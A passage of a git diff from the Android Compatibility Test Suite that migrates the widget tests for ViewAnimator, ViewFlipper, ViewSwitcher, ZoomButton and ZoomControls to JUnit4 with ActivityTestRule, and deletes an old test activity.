+            new ActivityTestRule<>(ViewAnimatorCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
 
         XmlPullParser parser = mActivity.getResources().getXml(R.layout.viewanimator_layout);
         mAttributeSet = Xml.asAttributeSet(parser);
         mViewAnimator = new ViewAnimator(mActivity, mAttributeSet);
-
-        assertNotNull(mActivity);
-        assertNotNull(mInstrumentation);
-        assertNotNull(mViewAnimator);
     }
 
+    @Test
     public void testConstructor() {
         new ViewAnimator(mActivity);
         new ViewAnimator(mActivity, mAttributeSet);
     }
 
+    @Test
     public void testAccessInAnimation() {
         AnimationSet expected = new AnimationSet(mActivity, mAttributeSet);
         assertNull(mViewAnimator.getInAnimation());
@@ -85,6 +87,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testShowNext() {
         final View v1 = mActivity.findViewById(R.id.ok);
         final View v2 = mActivity.findViewById(R.id.cancel);
@@ -122,6 +125,7 @@
         assertEquals(0, mViewAnimator.getChildCount());
     }
 
+    @Test
     public void testSetAnimateFirstView() {
         mViewAnimator.setAnimateFirstView(true);
         mViewAnimator.setAnimateFirstView(false);
@@ -130,6 +134,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessDisplayedChild() {
         final View v1 = mActivity.findViewById(R.id.ok);
         final View v2 = mActivity.findViewById(R.id.cancel);
@@ -164,6 +169,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAccessDisplayedChildBoundary() {
         final View v1 = mActivity.findViewById(R.id.ok);
         final View v2 = mActivity.findViewById(R.id.cancel);
@@ -192,6 +198,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetBaseline() {
         final View v1 = mActivity.findViewById(R.id.ok);
         final View v2 = mActivity.findViewById(R.id.cancel);
@@ -218,6 +225,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testShowPrevious() {
         final View v1 = mActivity.findViewById(R.id.ok);
         final View v2 = mActivity.findViewById(R.id.cancel);
@@ -257,6 +265,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetCurrentView() {
         final View v = mActivity.findViewById(R.id.label);
         final RelativeLayout parent = (RelativeLayout) v.getParent();
@@ -276,6 +285,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAddView() {
         final View v1 = mActivity.findViewById(R.id.ok);
         final View v2 = mActivity.findViewById(R.id.cancel);
@@ -299,6 +309,7 @@
         assertEquals(0, mViewAnimator.getChildCount());
     }
 
+    @Test
     public void testAccessOutAnimation() {
         AnimationSet expected = new AnimationSet(mActivity, mAttributeSet);
         assertNull(mViewAnimator.getOutAnimation());
@@ -316,6 +327,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testRemoveViews() {
         final View v1 = mActivity.findViewById(R.id.ok);
         final View v2 = mActivity.findViewById(R.id.cancel);
diff --git a/tests/tests/widget/src/android/widget/cts/ViewFlipperCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ViewFlipperCtsActivity.java
index ba90590..f3a37a6 100644
--- a/tests/tests/widget/src/android/widget/cts/ViewFlipperCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/ViewFlipperCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.cts.R;
 
 public class ViewFlipperCtsActivity extends Activity {
     @Override
diff --git a/tests/tests/widget/src/android/widget/cts/ViewFlipperTest.java b/tests/tests/widget/src/android/widget/cts/ViewFlipperTest.java
index 5ec242e..b135745 100644
--- a/tests/tests/widget/src/android/widget/cts/ViewFlipperTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ViewFlipperTest.java
@@ -16,37 +16,53 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
-import android.test.ActivityInstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.app.Instrumentation;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
 import android.widget.TextView;
 import android.widget.ViewFlipper;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
 /**
  * Test {@link ViewFlipper}.
  */
-public class ViewFlipperTest extends ActivityInstrumentationTestCase<ViewFlipperCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ViewFlipperTest {
+    private Instrumentation mInstrumentation;
     private Activity mActivity;
 
-    public ViewFlipperTest() {
-        super("android.widget.cts", ViewFlipperCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ViewFlipperCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ViewFlipperCtsActivity.class);
 
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        assertNotNull(mActivity);
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         new ViewFlipper(mActivity);
 
@@ -55,87 +71,75 @@
         XmlPullParser parser = mActivity.getResources().getXml(R.layout.viewflipper_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
         new ViewFlipper(mActivity, attrs);
-
-        try {
-            new ViewFlipper(null, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext() {
+        new ViewFlipper(null, null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testSetFlipInterval() {
         ViewFlipper viewFlipper = new ViewFlipper(mActivity);
         viewFlipper.setFlipInterval(0);
         viewFlipper.setFlipInterval(-1);
     }
 
+    @LargeTest
+    @Test
     public void testViewFlipper() throws Throwable {
-        // NOTE: This value needs to be kept in sync with the value set in
-        // layout/viewflipper_layout.xml
-        final int FLIP_INTERVAL = 1000;
+        final int flipInterval = mActivity.getResources().getInteger(
+                R.integer.view_flipper_interval);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                ViewFlipper viewFlipper =
-                        (ViewFlipper) mActivity.findViewById(R.id.viewflipper_test);
+        mActivityRule.runOnUiThread(() -> {
+            ViewFlipper viewFlipper =
+                    (ViewFlipper) mActivity.findViewById(R.id.viewflipper_test);
 
-                TextView iv1 = (TextView) mActivity.findViewById(R.id.viewflipper_textview1);
-                TextView iv2 = (TextView) mActivity.findViewById(R.id.viewflipper_textview2);
+            TextView iv1 = (TextView) mActivity.findViewById(R.id.viewflipper_textview1);
+            TextView iv2 = (TextView) mActivity.findViewById(R.id.viewflipper_textview2);
 
-                assertFalse(viewFlipper.isFlipping());
-                assertSame(iv1, viewFlipper.getCurrentView());
+            assertFalse(viewFlipper.isFlipping());
+            assertSame(iv1, viewFlipper.getCurrentView());
 
-                viewFlipper.startFlipping();
-                assertTrue(viewFlipper.isFlipping());
-                assertSame(iv1, viewFlipper.getCurrentView());
-                assertEquals(View.VISIBLE, iv1.getVisibility());
-                assertEquals(View.GONE, iv2.getVisibility());
-            }
+            viewFlipper.startFlipping();
+            assertTrue(viewFlipper.isFlipping());
+            assertSame(iv1, viewFlipper.getCurrentView());
+            assertEquals(View.VISIBLE, iv1.getVisibility());
+            assertEquals(View.GONE, iv2.getVisibility());
         });
 
         // wait for a longer time to make sure the view flipping is completed.
-        waitForViewFlipping(FLIP_INTERVAL + 200);
-        getInstrumentation().waitForIdleSync();
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                ViewFlipper viewFlipper =
-                        (ViewFlipper) mActivity.findViewById(R.id.viewflipper_test);
+        SystemClock.sleep(flipInterval + 200);
+        mInstrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> {
+            ViewFlipper viewFlipper =
+                    (ViewFlipper) mActivity.findViewById(R.id.viewflipper_test);
 
-                TextView iv1 = (TextView) mActivity.findViewById(R.id.viewflipper_textview1);
-                TextView iv2 = (TextView) mActivity.findViewById(R.id.viewflipper_textview2);
+            TextView iv1 = (TextView) mActivity.findViewById(R.id.viewflipper_textview1);
+            TextView iv2 = (TextView) mActivity.findViewById(R.id.viewflipper_textview2);
 
-                assertSame(iv2, viewFlipper.getCurrentView());
-                assertEquals(View.GONE, iv1.getVisibility());
-                assertEquals(View.VISIBLE, iv2.getVisibility());
-            }
+            assertSame(iv2, viewFlipper.getCurrentView());
+            assertEquals(View.GONE, iv1.getVisibility());
+            assertEquals(View.VISIBLE, iv2.getVisibility());
         });
 
-        waitForViewFlipping(FLIP_INTERVAL + 200);
-        getInstrumentation().waitForIdleSync();
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                ViewFlipper viewFlipper =
-                        (ViewFlipper) mActivity.findViewById(R.id.viewflipper_test);
+        SystemClock.sleep(flipInterval + 200);
+        mInstrumentation.waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> {
+            ViewFlipper viewFlipper =
+                    (ViewFlipper) mActivity.findViewById(R.id.viewflipper_test);
 
-                TextView iv1 = (TextView) mActivity.findViewById(R.id.viewflipper_textview1);
-                TextView iv2 = (TextView) mActivity.findViewById(R.id.viewflipper_textview2);
+            TextView iv1 = (TextView) mActivity.findViewById(R.id.viewflipper_textview1);
+            TextView iv2 = (TextView) mActivity.findViewById(R.id.viewflipper_textview2);
 
-                assertSame(iv1, viewFlipper.getCurrentView());
-                assertEquals(View.VISIBLE, iv1.getVisibility());
-                assertEquals(View.GONE, iv2.getVisibility());
+            assertSame(iv1, viewFlipper.getCurrentView());
+            assertEquals(View.VISIBLE, iv1.getVisibility());
+            assertEquals(View.GONE, iv2.getVisibility());
 
-                viewFlipper.stopFlipping();
-                assertFalse(viewFlipper.isFlipping());
-            }
+            viewFlipper.stopFlipping();
+            assertFalse(viewFlipper.isFlipping());
         });
     }
-
-    private void waitForViewFlipping(int timeout) {
-        try {
-            Thread.sleep(timeout);
-        } catch (InterruptedException e) {
-            fail(e.getMessage());
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ViewGroupCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ViewGroupCtsActivity.java
deleted file mode 100644
index f3b3a3e..0000000
--- a/tests/tests/widget/src/android/widget/cts/ViewGroupCtsActivity.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.widget.cts;
-
-import android.app.Activity;
-import android.cts.util.CTSResult;
-import android.os.Bundle;
-import android.os.Handler;
-import android.widget.TextView;
-
-public class ViewGroupCtsActivity extends Activity {
-
-    public static final String ACTION_INVALIDATE_CHILD = "invalidateChild";
-
-    private final Handler mHandler = new Handler();
-    private static CTSResult sResult;
-    public static void setResult(CTSResult result) {
-        sResult = result;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(android.widget.cts.R.layout.viewgrouptest_stub);
-        TextView textView = (TextView)findViewById(android.widget.cts.R.id.viewgrouptest_stub);
-        textView.setText("test");
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-
-        String action = getIntent().getAction();
-        if (action.equals(ACTION_INVALIDATE_CHILD)) {
-            mHandler.postDelayed(new Runnable() {
-                public void run() {
-                    MockLinearLayout mll =
-                        (MockLinearLayout) findViewById(android.widget.cts.R.id.
-                                                                        mocklinearlayout);
-                    if (!mll.mIsInvalidateChildInParentCalled) {
-                        fail();
-                        return;
-                    }
-                    sResult.setResult(CTSResult.RESULT_OK);
-                    finish();
-                }
-            }, 2000);
-        }
-    }
-
-    private void fail() {
-        sResult.setResult(CTSResult.RESULT_FAIL);
-        finish();
-    }
-}
-
diff --git a/tests/tests/widget/src/android/widget/cts/ViewSwitcherTest.java b/tests/tests/widget/src/android/widget/cts/ViewSwitcherTest.java
index 7828570..9088ba0 100644
--- a/tests/tests/widget/src/android/widget/cts/ViewSwitcherTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ViewSwitcherTest.java
@@ -16,10 +16,16 @@
 
 package android.widget.cts;
 
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.Context;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -28,73 +34,80 @@
 import android.widget.ViewSwitcher;
 import android.widget.ViewSwitcher.ViewFactory;
 
-import android.widget.cts.R;
-
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
 
 /**
  * Test {@link ViewSwitcher}.
  */
-public class ViewSwitcherTest extends AndroidTestCase {
-    private ViewSwitcher mViewSwitcher;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ViewSwitcherTest {
+    private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mViewSwitcher = null;
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
     }
 
+    @Test
     public void testConstructor() {
-        new ViewSwitcher(getContext());
+        new ViewSwitcher(mContext);
 
-        new ViewSwitcher(getContext(), null);
+        new ViewSwitcher(mContext, null);
 
-        XmlPullParser parser = getContext().getResources().getXml(R.layout.viewswitcher_layout);
+        XmlPullParser parser = mContext.getResources().getXml(R.layout.viewswitcher_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
-        new ViewSwitcher(getContext(), attrs);
+        new ViewSwitcher(mContext, attrs);
     }
 
+    @Test
     public void testSetFactory() {
-        mViewSwitcher = new ViewSwitcher(getContext());
+        final ViewSwitcher viewSwitcher = new ViewSwitcher(mContext);
 
         MockViewFactory factory = new MockViewFactory();
-        mViewSwitcher.setFactory(factory);
+        viewSwitcher.setFactory(factory);
         assertTrue(factory.hasMakeViewCalled());
     }
 
+    @Test
     public void testReset() {
-        mViewSwitcher = new ViewSwitcher(getContext());
+        final ViewSwitcher viewSwitcher = new ViewSwitcher(mContext);
 
-        ListView lv1 = new ListView(getContext());
-        ListView lv2 = new ListView(getContext());
+        ListView lv1 = new ListView(mContext);
+        ListView lv2 = new ListView(mContext);
         assertEquals(View.VISIBLE, lv1.getVisibility());
         assertEquals(View.VISIBLE, lv2.getVisibility());
-        mViewSwitcher.addView(lv1, 0);
-        mViewSwitcher.addView(lv2, 1);
+        viewSwitcher.addView(lv1, 0);
+        viewSwitcher.addView(lv2, 1);
 
-        mViewSwitcher.reset();
+        viewSwitcher.reset();
         assertEquals(View.GONE, lv1.getVisibility());
         assertEquals(View.GONE, lv2.getVisibility());
     }
 
+    @Test
     public void testGetNextView() {
-        mViewSwitcher = new ViewSwitcher(getContext());
+        final ViewSwitcher viewSwitcher = new ViewSwitcher(mContext);
 
-        ListView lv1 = new ListView(getContext());
-        ListView lv2 = new ListView(getContext());
-        mViewSwitcher.addView(lv1, 0, new ViewGroup.LayoutParams(20, 25));
-        assertSame(lv1, mViewSwitcher.getChildAt(0));
-        assertNull(mViewSwitcher.getNextView());
+        ListView lv1 = new ListView(mContext);
+        ListView lv2 = new ListView(mContext);
+        viewSwitcher.addView(lv1, 0, new ViewGroup.LayoutParams(20, 25));
+        assertSame(lv1, viewSwitcher.getChildAt(0));
+        assertNull(viewSwitcher.getNextView());
 
-        mViewSwitcher.addView(lv2, 1, new ViewGroup.LayoutParams(20, 25));
-        assertSame(lv2, mViewSwitcher.getChildAt(1));
-        assertSame(lv2, mViewSwitcher.getNextView());
+        viewSwitcher.addView(lv2, 1, new ViewGroup.LayoutParams(20, 25));
+        assertSame(lv2, viewSwitcher.getChildAt(1));
+        assertSame(lv2, viewSwitcher.getNextView());
 
-        mViewSwitcher.setDisplayedChild(1);
-        assertSame(lv1, mViewSwitcher.getNextView());
+        viewSwitcher.setDisplayedChild(1);
+        assertSame(lv1, viewSwitcher.getNextView());
 
         try {
-            ListView lv3 = new ListView(getContext());
-            mViewSwitcher.addView(lv3, 2, null);
+            ListView lv3 = new ListView(mContext);
+            viewSwitcher.addView(lv3, 2, null);
             fail("Should throw IllegalStateException here.");
         } catch (IllegalStateException e) {
         }
@@ -105,7 +118,7 @@
 
         public View makeView() {
             mMakeViewCalled = true;
-            return new ListView(getContext());
+            return new ListView(mContext);
         }
 
         public boolean hasMakeViewCalled() {
diff --git a/tests/tests/widget/src/android/widget/cts/ZoomButtonCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ZoomButtonCtsActivity.java
index 28563f5..1a50217 100644
--- a/tests/tests/widget/src/android/widget/cts/ZoomButtonCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/ZoomButtonCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.cts.R;
 
 /**
  * A minimal application for {@link ZoomButton} test.
diff --git a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
index 493c484..84eba18 100644
--- a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
@@ -16,71 +16,92 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
-import android.cts.util.PollingCheck;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
-import android.view.View.OnClickListener;
+import android.view.ViewConfiguration;
 import android.widget.ListView;
 import android.widget.ZoomButton;
 
-public class ZoomButtonTest extends ActivityInstrumentationTestCase2<ZoomButtonCtsActivity> {
+import com.android.compatibility.common.util.CtsTouchUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ZoomButtonTest {
+    private static long NANOS_IN_MILLI = 1000000;
+
+    private Instrumentation mInstrumentation;
     private ZoomButton mZoomButton;
     private Activity mActivity;
 
-    public ZoomButtonTest() {
-        super("android.widget.cts", ZoomButtonCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ZoomButtonCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ZoomButtonCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mZoomButton = (ZoomButton) getActivity().findViewById(R.id.zoombutton_test);
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mZoomButton = (ZoomButton) mActivity.findViewById(R.id.zoombutton_test);
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         new ZoomButton(mActivity);
 
         new ZoomButton(mActivity, null);
 
-        new ZoomButton(mActivity, null, 0);
+        new ZoomButton(mActivity, null, android.R.attr.imageButtonStyle);
+
+        new ZoomButton(mActivity, null, 0, android.R.style.Widget_Material_Light_ImageButton);
 
         XmlPullParser parser = mActivity.getResources().getXml(R.layout.zoombutton_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
         assertNotNull(attrs);
         new ZoomButton(mActivity, attrs);
         new ZoomButton(mActivity, attrs, 0);
-
-        try {
-            new ZoomButton(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            new ZoomButton(null, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            new ZoomButton(null, null, 0);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext1() {
+        new ZoomButton(null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext2() {
+        new ZoomButton(null, null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext3() {
+        new ZoomButton(null, null, 0);
+    }
+
+    @UiThreadTest
+    @Test
     public void testSetEnabled() {
         assertFalse(mZoomButton.isPressed());
         mZoomButton.setEnabled(true);
@@ -99,53 +120,94 @@
     }
 
     @UiThreadTest
+    @Test
     public void testDispatchUnhandledMove() {
         assertFalse(mZoomButton.dispatchUnhandledMove(new ListView(mActivity), View.FOCUS_DOWN));
 
         assertFalse(mZoomButton.dispatchUnhandledMove(null, View.FOCUS_DOWN));
     }
 
-    public void testOnLongClick() {
-        final MockOnClickListener listener = new MockOnClickListener();
-        mZoomButton.setOnClickListener(listener);
-        mZoomButton.setEnabled(true);
-        long speed = 2000;
-        mZoomButton.setZoomSpeed(speed);
+    private void verifyZoomSpeed(ZoomClickListener zoomClickListener, long zoomSpeedMs) {
+        mZoomButton.setZoomSpeed(zoomSpeedMs);
 
-        assertFalse(listener.hasOnClickCalled());
-        mZoomButton.performLongClick();
-        new PollingCheck(speed + 500) {
-            @Override
-            protected boolean check() {
-                return listener.hasOnClickCalled();
+        final long startTime = System.nanoTime();
+        // Emulate long click that "lasts" for ten seconds
+        CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation, mZoomButton, 10000);
+
+        final List<Long> callbackInvocations = zoomClickListener.getClickTimes();
+        assertFalse("Expecting at least one callback", callbackInvocations.isEmpty());
+
+        // Verify that the first callback is fired after the system-level long press timeout.
+        final long minTimeUntilFirstInvocationMs = ViewConfiguration.getLongPressTimeout();
+        final long actualTimeUntilFirstInvocationNs = callbackInvocations.get(0) - startTime;
+        assertTrue("First callback not during long press timeout was " +
+                        actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI +
+                        " while long press timeout is " + minTimeUntilFirstInvocationMs,
+                (callbackInvocations.get(0) - startTime) >
+                        minTimeUntilFirstInvocationMs * NANOS_IN_MILLI);
+
+        // Verify that subsequent callbacks are at least zoom-speed milliseconds apart. Note that
+        // we do not have any hard guarantee about the max limit on the time between successive
+        // callbacks.
+        final long minTimeBetweenInvocationsNs = zoomSpeedMs * NANOS_IN_MILLI;
+        if (callbackInvocations.size() > 1) {
+            for (int i = 0; i < callbackInvocations.size() - 1; i++) {
+                final long actualTimeBetweenInvocationsNs =
+                        (callbackInvocations.get(i + 1) - callbackInvocations.get(i)) *
+                                NANOS_IN_MILLI;
+                assertTrue("Callback " + (i + 1) + " happened " +
+                                actualTimeBetweenInvocationsNs / NANOS_IN_MILLI +
+                                " after the previous one, while zoom speed is " + zoomSpeedMs,
+                        actualTimeBetweenInvocationsNs > minTimeBetweenInvocationsNs);
             }
-        };
+        }
     }
 
-    public void testOnTouchEvent() {
-        // Do not test. Implementation details.
+    @LargeTest
+    @Test
+    public void testOnLongClick() {
+        // Since Mockito doesn't have utilities to track the timestamps of method invocations,
+        // we're using our own custom click listener for that. We want to verify that the
+        // first listener invocation was after long press timeout, and the rest were spaced
+        // by at least our zoom speed milliseconds
+
+        mZoomButton.setEnabled(true);
+        ZoomClickListener zoomClickListener = new ZoomClickListener();
+        mZoomButton.setOnClickListener(zoomClickListener);
+
+        verifyZoomSpeed(zoomClickListener, 2000);
     }
 
-    public void testOnKeyUp() {
-        // Do not test. Implementation details.
-    }
-
+    @LargeTest
+    @Test
     public void testSetZoomSpeed() {
-        mZoomButton.setZoomSpeed(100);
+        final long[] zoomSpeeds = { 100, -1, 5000, 1000, 2500 };
+        mZoomButton.setEnabled(true);
+        ZoomClickListener zoomClickListener = new ZoomClickListener();
+        mZoomButton.setOnClickListener(zoomClickListener);
 
-        mZoomButton.setZoomSpeed(-1);
-        // TODO: how to check?
+        for (long zoomSpeed : zoomSpeeds) {
+            // Reset the tracker list of our listener, but continue using it for testing
+            // various zoom speeds on the same ZoomButton
+            zoomClickListener.reset();
+            verifyZoomSpeed(zoomClickListener, zoomSpeed);
+        }
     }
 
-    private static class MockOnClickListener implements OnClickListener {
-        private boolean mOnClickCalled = false;
+    private static class ZoomClickListener implements View.OnClickListener {
+        private List<Long> mClickTimes = new ArrayList<>();
 
-        public boolean hasOnClickCalled() {
-            return mOnClickCalled;
+        public void reset() {
+            mClickTimes.clear();
+        }
+
+        public List<Long> getClickTimes() {
+            return Collections.unmodifiableList(mClickTimes);
         }
 
         public void onClick(View v) {
-            mOnClickCalled = true;
+            // Add the current system time to the tracker list
+            mClickTimes.add(System.nanoTime());
         }
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ZoomControlsTest.java b/tests/tests/widget/src/android/widget/cts/ZoomControlsTest.java
index 9b3ffba..ab0f940 100644
--- a/tests/tests/widget/src/android/widget/cts/ZoomControlsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ZoomControlsTest.java
@@ -16,27 +16,37 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
-import android.view.View.OnClickListener;
 import android.widget.ZoomControls;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link ZoomControls}.
  */
-public class ZoomControlsTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ZoomControlsTest {
     private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         new ZoomControls(mContext);
 
@@ -44,29 +54,25 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetOnZoomInClickListener() {
         ZoomControls zoomControls = new ZoomControls(mContext);
 
         // normal parameters
-        final MockOnClickListener clickListener = new MockOnClickListener();
+        final View.OnClickListener clickListener = (View view) -> {};
         zoomControls.setOnZoomInClickListener(clickListener);
 
         // exceptional parameters
         zoomControls.setOnZoomInClickListener(null);
     }
 
-    private class MockOnClickListener implements OnClickListener {
-        public void onClick(View v) {
-            // ignore
-        }
-    }
-
     @UiThreadTest
+    @Test
     public void testSetOnZoomOutClickListener() {
         ZoomControls zoomControls = new ZoomControls(mContext);
 
         // normal parameters
-        final MockOnClickListener clickListener = new MockOnClickListener();
+        final View.OnClickListener clickListener = (View view) -> {};
         zoomControls.setOnZoomOutClickListener(clickListener);
 
         // exceptional parameters
@@ -74,6 +80,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetZoomSpeed() {
         ZoomControls zoomControls = new ZoomControls(mContext);
 
@@ -82,11 +89,8 @@
         // TODO: how to check?
     }
 
-    public void testOnTouchEvent() {
-        // onTouchEvent() is implementation details, do NOT test
-    }
-
     @UiThreadTest
+    @Test
     public void testShowAndHide() {
         final ZoomControls zoomControls = new ZoomControls(mContext);
         assertEquals(View.VISIBLE, zoomControls.getVisibility());
@@ -99,6 +103,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetIsZoomInEnabled() {
         ZoomControls zoomControls = new ZoomControls(mContext);
         zoomControls.setIsZoomInEnabled(false);
@@ -106,6 +111,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetIsZoomOutEnabled() {
         ZoomControls zoomControls = new ZoomControls(mContext);
         zoomControls.setIsZoomOutEnabled(false);
@@ -113,6 +119,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testHasFocus() {
         ZoomControls zoomControls = new ZoomControls(mContext);
         assertFalse(zoomControls.hasFocus());
diff --git a/tests/tests/widget/src/android/widget/cts/appwidget/MyAppWidgetProvider.java b/tests/tests/widget/src/android/widget/cts/appwidget/MyAppWidgetProvider.java
new file mode 100644
index 0000000..a0711e2
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/appwidget/MyAppWidgetProvider.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
